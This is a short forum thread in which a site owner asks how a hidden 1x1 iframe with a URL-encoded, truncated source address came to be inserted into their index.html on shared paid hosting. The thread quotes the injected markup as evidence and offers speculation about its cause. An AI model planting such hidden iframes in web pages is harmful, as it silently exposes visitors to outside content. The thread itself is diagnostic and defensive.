IFRAME insert origin?

[melon]

Not sure which forum this belongs in, but I'm a bit peeved. Someone made me aware that they were getting errors on my website, and, looking at the code, I found this was inserted at the top of my index.html page:

iframe src= http://%77%77%77%...(etc.)?id=index12 frameborder="0" width="1" height="1" scrolling="no" name=counter></iframe>

Note that I cut off the series of "%xx" numbers, because I think you get the idea. Checking the "last modified" date, it was inserted on December 17th. I've done lots of searching, and I can't find any information at all on anything similar to this. Does anyone know of a vulnerability floating around that would cause something like this?

Melon

 

[Khayman]

if you're using somekind of free hosting, they may have inserted the code for ads

 

[melon]

It's a paid host, so it wouldn't be anything like that. I've already removed the code with no problems.

Thought: it's a shared hosting solution. If another user on the server was using vulnerable code (like an out-of-date forum software), I presume it could hit everyone on the same server? It's just baffling me, because I even checked my access logs to correspond to the "last modified" date on my index.html file, and there's absolutely nothing out of the ordinary.

Ideas?

Melon